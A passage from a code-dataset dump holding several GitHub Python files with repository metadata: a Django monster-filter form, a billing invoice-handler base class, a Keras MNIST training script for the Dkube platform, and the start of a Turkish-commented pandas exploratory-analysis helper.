Skill',\n data_onstyle='dark',\n data_off='One Skill',\n data_width='125px',\n wrapper_class='col-lg-12 ps-0', \n ),\n css_class='row'\n ),\n css_class='col-md-4'\n ),\n Fieldset(\n 'Leader Skill',\n Field('leader_skill__attribute', css_class='select2'),\n Field('leader_skill__area', css_class='select2'),\n css_class='col-md-4'\n ),\n css_class='row'\n ),\n Div(\n Div(\n Submit('apply', 'Apply', css_class='btn-success'),\n css_class='btn-group w-50'\n ),\n Div(\n Button('resetBtn', 'Reset Filters', css_class='btn-outline-danger reset'),\n css_class='btn-group w-50'\n ),\n css_class='btn-group w-100'\n ),\n Field('page', value=1, type='hidden'),\n Field('sort', value='', type='hidden'),\n )\n\n def clean(self):\n super(FilterMonsterForm, self).clean()\n # Coalesce the effect fields into a single one that the filter can understand\n selected_buff_effects = self.cleaned_data.get('buffs')\n selected_debuff_effects = self.cleaned_data.get('debuffs')\n selected_other_effects = self.cleaned_data.get('other_effects')\n self.cleaned_data['skills__effect__pk'] = chain(selected_buff_effects, selected_debuff_effects, selected_other_effects)\n\n # Split the slider ranges into two min/max fields for the automatic filters\n try:\n [min_stars, max_stars] = self.cleaned_data['natural_stars'].split(',')\n self.cleaned_data['natural_stars__gte'] = int(min_stars)\n self.cleaned_data['natural_stars__lte'] = int(max_stars)\n except:\n self.cleaned_data['natural_stars__gte'] = None\n self.cleaned_data['natural_stars__lte'] = None\n", "repo_name": "swarfarm/swarfarm", "sub_path": "bestiary/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 10425, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 112, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.templatetags.static.static", "line_number": 14, "usage_type": "call"}, {"api_name": "django.forms.Form", "line_number": 18, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 18, "usage_type": "name"}, {"api_name": "django.forms.ModelChoiceField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 19, "usage_type": "name"}, {"api_name": "models.Monster.objects.all", "line_number": 20, "usage_type": "call"}, {"api_name": "models.Monster.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "models.Monster", "line_number": 20, "usage_type": "name"}, {"api_name": "dal.autocomplete.ModelSelect2", "line_number": 21, "usage_type": "call"}, {"api_name": "dal.autocomplete", "line_number": 21, "usage_type": "name"}, {"api_name": "crispy_forms.helper.FormHelper", "line_number": 31, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Layout", "line_number": 38, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Div", "line_number": 39, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 40, "usage_type": "call"}, {"api_name": "django.forms.Form", "line_number": 58, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 58, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 59, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 59, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 64, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 64, "usage_type": "name"}, {"api_name": "django.forms.MultipleChoiceField", "line_number": 68, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 68, "usage_type": "name"}, {"api_name": "models.Monster.ELEMENT_CHOICES", "line_number": 70, "usage_type": "attribute"}, {"api_name": "models.Monster", "line_number": 70, "usage_type": "name"}, {"api_name": "widgets.ElementSelectMultipleWidget", "line_number": 72, "usage_type": "name"}, {"api_name": "django.forms.MultipleChoiceField", "line_number": 74, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 74, "usage_type": "name"}, {"api_name": "models.Monster.ARCHETYPE_CHOICES", "line_number": 76, "usage_type": "attribute"}, {"api_name": "models.Monster", "line_number": 76, "usage_type": "name"}, {"api_name": "django.forms.MultipleChoiceField", "line_number": 79, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 79, "usage_type": "name"}, {"api_name": "models.Monster.AWAKEN_CHOICES", "line_number": 81, "usage_type": "attribute"}, {"api_name": "models.Monster", "line_number": 81, "usage_type": "name"}, {"api_name": "django.forms.NullBooleanField", "line_number": 84, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 84, "usage_type": "name"}, {"api_name": "django.forms.Select", "line_number": 87, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 87, "usage_type": "name"}, {"api_name": "django.forms.MultipleChoiceField", "line_number": 89, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 89, "usage_type": "name"}, {"api_name": "models.LeaderSkill.ATTRIBUTE_CHOICES", "line_number": 91, "usage_type": "attribute"}, {"api_name": "models.LeaderSkill", "line_number": 91, "usage_type": "name"}, {"api_name": "django.forms.MultipleChoiceField", "line_number": 94, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 94, "usage_type": "name"}, {"api_name": "models.LeaderSkill.AREA_CHOICES", "line_number": 96, "usage_type": "attribute"}, {"api_name": "models.LeaderSkill", "line_number": 96, "usage_type": "name"}, {"api_name": "django.forms.ModelMultipleChoiceField", "line_number": 99, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 99, "usage_type": "name"}, {"api_name": "models.ScalingStat.objects.all", "line_number": 101, "usage_type": "call"}, {"api_name": "models.ScalingStat.objects", "line_number": 101, "usage_type": "attribute"}, {"api_name": "models.ScalingStat", "line_number": 101, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 104, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 104, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 108, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 108, "usage_type": "name"}, {"api_name": "django.forms.NullBooleanField", "line_number": 112, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 112, "usage_type": "name"}, {"api_name": "django.forms.Select", "line_number": 115, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 115, "usage_type": "name"}, {"api_name": "django.forms.NullBooleanField", "line_number": 117, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 117, "usage_type": "name"}, {"api_name": "django.forms.Select", "line_number": 120, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 120, "usage_type": "name"}, {"api_name": "fields.AdvancedSelectMultiple", "line_number": 122, "usage_type": "call"}, {"api_name": "models.SkillEffect.objects.filter", "line_number": 124, "usage_type": "call"}, {"api_name": "models.SkillEffect.objects", "line_number": 124, "usage_type": "attribute"}, {"api_name": "models.SkillEffect", "line_number": 124, "usage_type": "name"}, {"api_name": "models.SkillEffect.TYPE_BUFF", "line_number": 124, "usage_type": "attribute"}, {"api_name": "widgets.EffectSelectMultipleWidget", "line_number": 126, "usage_type": "name"}, {"api_name": "fields.AdvancedSelectMultiple", "line_number": 128, "usage_type": "call"}, {"api_name": "models.SkillEffect.objects.filter", "line_number": 130, "usage_type": "call"}, {"api_name": "models.SkillEffect.objects", "line_number": 130, "usage_type": "attribute"}, {"api_name": "models.SkillEffect", "line_number": 130, "usage_type": "name"}, {"api_name": "models.SkillEffect.TYPE_DEBUFF", "line_number": 130, "usage_type": "attribute"}, {"api_name": "widgets.EffectSelectMultipleWidget", "line_number": 132, "usage_type": "name"}, {"api_name": "django.forms.ModelMultipleChoiceField", "line_number": 134, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 134, "usage_type": "name"}, {"api_name": "models.SkillEffect.objects.filter", "line_number": 136, "usage_type": "call"}, {"api_name": "models.SkillEffect.objects", "line_number": 136, "usage_type": "attribute"}, {"api_name": "models.SkillEffect", "line_number": 136, "usage_type": "name"}, {"api_name": "models.SkillEffect.TYPE_NEUTRAL", "line_number": 136, "usage_type": "attribute"}, {"api_name": "django.forms.BooleanField", "line_number": 139, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 139, "usage_type": "name"}, {"api_name": "django.utils.safestring.mark_safe", "line_number": 140, "usage_type": "call"}, {"api_name": "django.forms.IntegerField", "line_number": 144, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 144, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 145, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 145, "usage_type": "name"}, {"api_name": "crispy_forms.helper.FormHelper", "line_number": 147, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Layout", "line_number": 150, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Div", "line_number": 151, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Fieldset", "line_number": 152, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Div", "line_number": 154, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 155, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 156, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 167, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 172, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 173, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 180, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Fieldset", "line_number": 185, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Div", "line_number": 187, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 188, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 195, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 202, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 203, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 204, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 205, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 206, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 217, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 228, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Fieldset", "line_number": 241, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 243, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 244, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Div", "line_number": 249, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Div", "line_number": 250, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Submit", "line_number": 251, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Div", "line_number": 254, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Button", "line_number": 255, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 260, "usage_type": "call"}, {"api_name": "crispy_forms.layout.Field", "line_number": 261, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 270, "usage_type": "call"}]} +{"seq_id": "35277577391", "text": "import abc\n\nfrom django.conf import settings\nfrom django.utils import timezone\nfrom djmoney.money import Money\n\nfrom core.exception import PriceNotFound\nfrom core.models import InvoiceComponentMixin, PriceMixin\nfrom core.notification import send_notification\n\n\nclass InvoiceHandler(metaclass=abc.ABCMeta):\n INVOICE_CLASS = None\n KEY_FIELD = None\n INFORMATIVE_FIELDS = []\n PRICE_DEPENDENCY_FIELDS = []\n\n def create(self, payload, fallback_price=False):\n \"\"\"\n Create new invoice component\n :param payload: the data that will be created\n :param fallback_price: Whether use 0 price if price not found\n :return:\n \"\"\"\n try:\n price = self.get_price(payload)\n if price is None:\n raise PriceNotFound()\n\n hourly_price = price.hourly_price\n monthly_price = price.monthly_price\n except PriceNotFound as e:\n send_notification(\n project=None,\n title=f'{settings.EMAIL_TAG} [Error] Price not found when create invoice',\n short_description=f'Price not found for {e.identifier} with payload {payload}',\n content=f'Price not found or {e.identifier} with payload {payload}. Will use fallback price as 0.',\n )\n\n if fallback_price:\n hourly_price = Money(amount=0, currency=settings.DEFAULT_CURRENCY)\n monthly_price = Money(amount=0, currency=settings.DEFAULT_CURRENCY)\n else:\n raise\n\n payload['hourly_price'] = hourly_price\n payload['monthly_price'] = monthly_price\n\n self.INVOICE_CLASS.objects.create(**payload)\n\n def delete(self):\n self.INVOICE_CLASS.objects.all().delete()\n\n def roll(self, instance: InvoiceComponentMixin, close_date, update_payload=None, fallback_price=False):\n \"\"\"\n Roll current instance.\n Close current component instance and clone it\n :param instance: The instance that want to be rolled\n :param close_date: The close date of current instance\n :param update_payload: New data to update the next component instance\n :param fallback_price: Whether use 0 price if price not found\n :return:\n \"\"\"\n if update_payload is None:\n update_payload = {}\n\n if not instance.is_closed():\n instance.close(close_date)\n\n # Set primary ke to None, this will make save() to create a new row\n instance.pk = None\n\n instance.start_date = instance.end_date\n instance.end_date = None\n\n instance.created_at = None\n instance.updated_at = None\n\n # Update the new instance without saving\n instance = self.update(instance, update_payload, save=False)\n\n # Update the price\n try:\n price = self.get_price(self.get_price_dependency_from_instance(instance))\n if price is None:\n raise PriceNotFound()\n\n hourly_price = price.hourly_price\n monthly_price = price.monthly_price\n except PriceNotFound as e:\n send_notification(\n project=None,\n title=f'{settings.EMAIL_TAG} [Error] Price not found when rolling invoice',\n short_description=f'Please check your Price configuration. Error on ID {getattr(instance, self.KEY_FIELD)}',\n content=f'Please check your Price configuration fro {e.identifier}. Error on ID {getattr(instance, self.KEY_FIELD)} for '\n f'invoice {getattr(instance, \"invoice\").id}',\n )\n\n if fallback_price:\n hourly_price = Money(amount=0, currency=settings.DEFAULT_CURRENCY)\n monthly_price = Money(amount=0, currency=settings.DEFAULT_CURRENCY)\n else:\n raise\n instance.hourly_price = hourly_price\n instance.monthly_price = monthly_price\n instance.save()\n\n return instance\n\n def update(self, instance, update_payload, save=True):\n \"\"\"\n Update instance\n :param instance: instance that will be updated\n :param update_payload: new data\n :param save: will it be saved or not\n :return:\n \"\"\"\n for key, value in update_payload.items():\n setattr(instance, key, value)\n\n if save:\n instance.save()\n\n return instance\n\n def update_and_close(self, instance, payload):\n \"\"\"\n :param instance: Instance that will be closed\n :param payload: update payload\n :return:\n \"\"\"\n self.update(instance, payload, save=False)\n instance.close(timezone.now()) # Close will also save the instance\n\n def is_informative_changed(self, instance, payload):\n \"\"\"\n Check whether informative field in instance is changed compared to the payload\n :param instance: the instance that will be checked\n :param payload: payload to compare\n :return:\n \"\"\"\n for informative in self.INFORMATIVE_FIELDS:\n if getattr(instance, informative) != payload[informative]:\n return True\n\n return False\n\n def is_price_dependency_changed(self, instance, payload):\n \"\"\"\n Check whether price dependency field in instance is changed compared to the payload\n :param instance: the instance that will be checked\n :param payload: payload to compare\n :return:\n \"\"\"\n for price_dependency in self.PRICE_DEPENDENCY_FIELDS:\n if getattr(instance, price_dependency) != payload[price_dependency]:\n return True\n\n return False\n\n def get_active_instance(self, invoice, payload):\n \"\"\"\n Get currently active invoice component instance.\n Filtered by invoice and key field in payload\n :param invoice: Invoice target\n :param payload: Payload to get key field, please make sure there are value for the key field inside the payload\n :return:\n \"\"\"\n kwargs = {\"invoice\": invoice, \"end_date\": None, self.KEY_FIELD: payload[self.KEY_FIELD]}\n return self.INVOICE_CLASS.objects.filter(**kwargs).first()\n\n def get_price_dependency_from_instance(self, instance):\n \"\"\"\n Get payload with price dependency field extracted from instance\n :param instance: Instance to extract the price dependency\n :return:\n \"\"\"\n return {field: getattr(instance, field) for field in self.PRICE_DEPENDENCY_FIELDS}\n\n @abc.abstractmethod\n def get_price(self, payload) -> PriceMixin:\n \"\"\"\n Get price based on payload\n :param payload: the payload that will contain filter to get the price\n :return:\n \"\"\"\n raise NotImplementedError()\n", "repo_name": "btechpt/yuyu", "sub_path": "core/component/base/invoice_handler.py", "file_name": "invoice_handler.py", "file_ext": "py", "file_size_in_byte": 6811, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 23, "dataset": "github-code", "pt": "16", "api": [{"api_name": "abc.ABCMeta", "line_number": 12, "usage_type": "attribute"}, {"api_name": "core.exception.PriceNotFound", "line_number": 28, "usage_type": "call"}, {"api_name": "core.exception.PriceNotFound", "line_number": 32, "usage_type": "name"}, {"api_name": "core.notification.send_notification", "line_number": 33, "usage_type": "call"}, {"api_name": "django.conf.settings.EMAIL_TAG", "line_number": 35, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 35, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 41, "usage_type": "call"}, {"api_name": "django.conf.settings.DEFAULT_CURRENCY", "line_number": 41, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 41, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 42, "usage_type": "call"}, {"api_name": "django.conf.settings.DEFAULT_CURRENCY", "line_number": 42, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 42, "usage_type": "name"}, {"api_name": "core.models.InvoiceComponentMixin", "line_number": 54, "usage_type": "name"}, {"api_name": "core.exception.PriceNotFound", "line_number": 86, "usage_type": "call"}, {"api_name": "core.exception.PriceNotFound", "line_number": 90, "usage_type": "name"}, {"api_name": "core.notification.send_notification", "line_number": 91, "usage_type": "call"}, {"api_name": "django.conf.settings.EMAIL_TAG", "line_number": 93, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 93, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 100, "usage_type": "call"}, {"api_name": "django.conf.settings.DEFAULT_CURRENCY", "line_number": 100, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 100, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 101, "usage_type": "call"}, {"api_name": "django.conf.settings.DEFAULT_CURRENCY", "line_number": 101, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 101, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 133, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 133, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 180, "usage_type": "attribute"}, {"api_name": "core.models.PriceMixin", "line_number": 181, "usage_type": "name"}]} +{"seq_id": "21257870451", "text": "import pyarrow as pa\nimport pyarrow.parquet as pq\nimport os\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Dropout, Flatten\nfrom tensorflow.keras.layers import Conv2D, MaxPooling2D\nimport requests\nimport argparse\n\nimport sys\nsys.path.insert(0, os.path.abspath(\"/usr/local/lib/python3.6/dist-packages\"))\nfrom dkube.sdk import *\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--url\", dest = 'url', default=None, type = str, help=\"setup URL\")\nparser.add_argument(\"--epochs\", dest = 'epochs', type = int, default = 5, help=\"no. of epochs\")\nparser.add_argument(\"--batch_size\", dest = 'batch_size', type = int, default = 128, help=\"no. of epochs\")\n\ndef log_metrics(key, value, epoch, step):\n url = \"http://dkube-exporter.dkube:9401/mlflow-exporter\"\n train_metrics = {}\n train_metrics['mode']=\"train\"\n train_metrics['key'] = key\n train_metrics['value'] = value\n train_metrics['epoch'] = epoch\n train_metrics['step'] = step\n train_metrics['jobid']=os.getenv('DKUBE_JOB_ID')\n train_metrics['run_id']=os.getenv('DKUBE_JOB_UUID')\n train_metrics['username']=os.getenv('DKUBE_USER_LOGIN_NAME')\n requests.post(url, json = train_metrics)\n \ndef get_one_hot(targets, nb_classes):\n res = np.eye(nb_classes)[np.array(targets).reshape(-1)]\n return res.reshape(list(targets.shape)+[nb_classes])\n\ninp_path = '/opt/dkube/input/'\nout_path = '/opt/dkube/output/'\nfilename = 'featureset.parquet'\nnum_classes = 10\ninput_shape = (28,28,1)\n\nglobal FLAGS\nFLAGS,unparsed=parser.parse_known_args()\nepochs = FLAGS.epochs\nbatch_size = FLAGS.batch_size\ndkubeURL = FLAGS.url\nauthToken = os.getenv('DKUBE_USER_ACCESS_TOKEN')\n# Dkube API calling\napi = DkubeApi(URL=dkubeURL, token=authToken)\n# Featureset API call\nfeatureset = DkubeFeatureSet()\n# Featureset input path update\nfeatureset.update_features_path(path=inp_path)\n# Reading featureset, output: response json with data\ndata = featureset.read()\n\n# Fetching data from response\nfeature_df = data[\"data\"]\n\ny = feature_df['label'].values\nx = feature_df.drop('label', 1).values\n\nx = x.reshape(x.shape[0], 28, 28, 1)\n\ny = get_one_hot(y, 10)\n\n# Defining model\nmodel = Sequential()\nmodel.add(Conv2D(32, kernel_size=(3, 3),\n activation='relu',\n input_shape=input_shape))\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dense(num_classes, activation='softmax'))\n\nmodel.compile(loss=tf.keras.losses.categorical_crossentropy,\n optimizer='adam',\n metrics=['accuracy'])\n\n# Model training\nhistory = model.fit(x, y,\n batch_size=batch_size,\n epochs=epochs,\n verbose=1)\n\n# logging metrics into Dkube\nif 'acc' in history.history.keys():\n for i in range(1, epochs + 1):\n log_metrics('accuracy', float(history.history['acc'][i-1]), i, i)\n log_metrics('loss', float(history.history['loss'][i-1]), i, i)\n print(\"accuracy=\",float(history.history['acc'][i-1]))\n print(\"loss=\",float(history.history['loss'][i-1]))\nelse:\n for i in range(1, epochs + 1):\n log_metrics('accuracy', float(history.history['accuracy'][i-1]), i, i)\n log_metrics('loss', float(history.history['loss'][i-1]), i, i)\n print(\"accuracy=\",float(history.history['accuracy'][i-1]))\n print(\"loss=\",float(history.history['loss'][i-1]))\n\n# Exporting model \nexport_path = out_path\nversion = 0\nif not tf.io.gfile.exists(export_path):\n tf.io.gfile.makedirs(export_path)\nmodel_contents = tf.io.gfile.listdir(export_path)\n\nsaved_models = []\nfor mdir in model_contents:\n if mdir != 'logs' and mdir != 'metrics'and mdir != 'weights.h5':\n saved_models.append(int(mdir))\nif len(saved_models) < 1:\n version = 1\nelse:\n version = max(saved_models) + 1\nmodel.save(export_path + 'weights.h5')\ntf.keras.backend.set_learning_phase(0) # Ignore dropout at inference\n\nif '1.1' in tf.__version__:\n with tf.keras.backend.get_session() as sess:\n tf.saved_model.simple_save(\n sess,\n export_path + str(version),\n inputs={'input': model.input},\n outputs={'output': model.output})\nelif '2.' in tf.__version__:\n with tf.compat.v1.keras.backend.get_session() as sess:\n tf.compat.v1.saved_model.simple_save(\n sess,\n export_path + str(version),\n inputs={'input': model.input},\n outputs={'output': model.output})\nprint(\"Model saved, version = \", version)\n", "repo_name": "deepakkonkimalla/dkubeio-examples-deepak", "sub_path": "tf/classification/mnist-fs/digits/classifier/program/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 4628, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.path.insert", "line_number": 13, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 16, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 29, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 30, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 31, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 49, "usage_type": "call"}, {"api_name": "tensorflow.keras.models.Sequential", "line_number": 70, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 74, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.MaxPooling2D", "line_number": 75, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Flatten", "line_number": 76, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 77, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 80, "usage_type": "attribute"}, {"api_name": "tensorflow.io.gfile.exists", "line_number": 107, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 107, "usage_type": "attribute"}, {"api_name": "tensorflow.io.gfile.makedirs", "line_number": 108, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 108, "usage_type": "attribute"}, {"api_name": "tensorflow.io.gfile.listdir", "line_number": 109, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 109, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.backend.set_learning_phase", "line_number": 120, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 120, "usage_type": "attribute"}, {"api_name": "tensorflow.__version__", "line_number": 122, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.backend.get_session", "line_number": 123, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 123, "usage_type": "attribute"}, {"api_name": "tensorflow.saved_model.simple_save", "line_number": 124, "usage_type": "call"}, {"api_name": "tensorflow.saved_model", "line_number": 124, "usage_type": "attribute"}, {"api_name": "tensorflow.__version__", "line_number": 129, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.keras.backend.get_session", "line_number": 130, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 130, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.saved_model.simple_save", "line_number": 131, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 131, "usage_type": "attribute"}]} +{"seq_id": "72248495368", "text": "import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nfrom matplotlib.ticker import NullFormatter\r\nimport json\r\n\r\nimport logging\r\nfrom matplotlib.ticker import EngFormatter\r\n\r\n######## DEĞİŞKEN YAPILARININ İNCELENMESİ ########\r\n#Değişkenlerin Yakalanması ve İşlemlerin Genelleştirilmesi\r\ndef grap_col_names(dataframe, cat_th=10, car_th=20):\r\n \"\"\"\r\n Veri setindeki kategorik, numerik ve kategorik fakat kardinal(Sınıf sayısı fazla olup anlam ifade etmeyen) değişkenlerin isimlerini verir\r\n Parameters\r\n ----------\r\n dataframe: dataframe\r\n değişken isimleri alınmak istemem dataframe' dir.\r\n cat_th: int, float\r\n numerik fakat kategorik olan değişkenler içim sınıf eşik değeri\r\n car_th: int, float\r\n kategorik fakat kardinal olan değişkenler içim sınıf eşik değeri\r\n Returns\r\n -------\r\n car_cols: list\r\n Kategorik değişken lsitesi\r\n num_cols: list\r\n Numerik değişken listesi\r\n cat_but_car: list\r\n Kategorik görünümlü kardinal değişken listesi\r\n Notes\r\n -------\r\n cat_cols + num_cols + cat_but_car = toplam değişken sayısı\r\n num_but_cat cat_cols' un içerisinde\r\n Return olan 3 liste toplamı toplam değişken sayısına eşittir:\r\n \"\"\"\r\n #Kategorik kolonlar\r\n cat_cols = [col for col in dataframe.columns if str(dataframe[col].dtypes) in [\"category\", \"object\", \"bool\"]]\r\n\r\n ##Numerik olup kategorik veri içerebilen kolonlar.\r\n num_but_cat = [col for col in dataframe.columns if dataframe[col].nunique() < cat_th and dataframe[col].dtypes in [\"int\", \"float\"]]\r\n\r\n #Açıklanamayacak kadar fazla sınıf varsa kardinal veridir. Ölçülebilir değişken değildir.\r\n cat_but_car = [col for col in dataframe.columns if dataframe[col].nunique() > car_th and str(dataframe[col].dtypes) in [\"category\", \"object\"]]\r\n\r\n #Tüm kategorik değişkenleri birleştir.\r\n #cat_cols = cat_cols + num_but_cat\r\n\r\n #Anlam ifade etmeyen kolonlar kategorik kolonlardan çıkartılır. Sınıf sayısı adreste fazla olacağından kardinal olarak değerlendirilemez.\r\n #Kategorik veriden Kardinal veriyi çıkarmıyoruz.\r\n #cat_cols = [col for col in cat_cols if col not in [cat_but_car]]\r\n num_cols = [col for col in dataframe.columns if col not in cat_cols]\r\n\r\n print(f\"Observations: {dataframe.shape[0]}\")\r\n print(f\"Variables: {dataframe.shape[1]}\")\r\n print(f\"cat_cols: {len(cat_cols)}\")\r\n print(f\"num_cols: {len(num_cols)}\")\r\n print(f\"cat_but_car: {len(cat_but_car)}\")\r\n print(f\"num_but_cat: {len(num_but_cat)}\")\r\n\r\n return cat_cols, num_cols, cat_but_car\r\n\r\n#ÖRNEK VERİ SETİNE İLİŞKİN BİLGİLER\r\ndef check_df(df, head = 10):\r\n print(\"\\n##################### SHAPE #####################\")\r\n print(df.shape)\r\n print(\"\\n##################### TYPES #####################\")\r\n print(df.dtypes)\r\n print(\"\\n##################### HEAD #####################\")\r\n print(df.head(head))\r\n print(\"\\n##################### TAIL #####################\")\r\n print(df.tail(head))\r\n print(\"\\n##################### NA #####################\")\r\n print(df.isnull().sum())\r\n print(\"\\n##################### QUANTILES #####################\")\r\n print(df.describe([0 , 0.05, 0.50, 0.95, 0.99, 1]).T)\r\n\r\n#Değişkenlerin sayısı ve yüzdelik dilimini çizer.\r\ndef cat_summary(dframe, col_name, plot=False):\r\n print(pd.DataFrame({col_name: dframe[col_name].value_counts(), \"Ration\": 100 * dframe[col_name].value_counts() / len(dframe)}))\r\n print(\"##########################################\\n\")\r\n if plot:\r\n sns.countplot(x=dframe[col_name], data=dframe)\r\n plt.show(block=True)\r\n\r\n#Grafik Çizdir\r\n#grafik üzerine sayı yazdırır.\r\ndef addlabels(x,y):\r\n for i in range(len(x)):\r\n plt.text(i,y[i],y[i])\r\n\r\n#Bar grafiği çizer.\r\ndef show_bar_chart(df,title,color):\r\n fmt = EngFormatter(places=0)\r\n fig, ax = plt.subplots(figsize=(10, 5))\r\n ax.set_title(title+' Kayıt Sayıları', loc ='center')\r\n #ax.set_xlabel('Değişkenler')\r\n ax.set_ylabel('Sayı')\r\n bar = ax.bar(df['variable'], df['value'], color=color)\r\n 